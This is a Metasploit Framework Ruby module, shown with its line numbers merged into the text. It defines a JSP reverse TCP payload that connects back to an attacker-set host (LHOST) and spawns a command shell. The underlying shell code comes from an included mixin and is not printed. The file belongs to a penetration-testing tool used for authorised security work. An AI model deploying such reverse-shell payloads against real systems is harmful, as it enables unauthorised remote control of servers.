Path: blob/master/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb
21540 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 150178include Msf::Payload::Single9include Msf::Payload::JSP10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Java JSP Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => [ 'sf' ],19'License' => MSF_LICENSE,20'Platform' => %w[linux osx solaris unix win],21'Arch' => ARCH_JAVA,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'Payload' => {25'Offsets' => {},26'Payload' => ''27}28)29)30end3132def generate(_opts = {})33if !datastore['LHOST'] || datastore['LHOST'].empty?34return super35end3637return super + jsp_reverse_tcp38end39end404142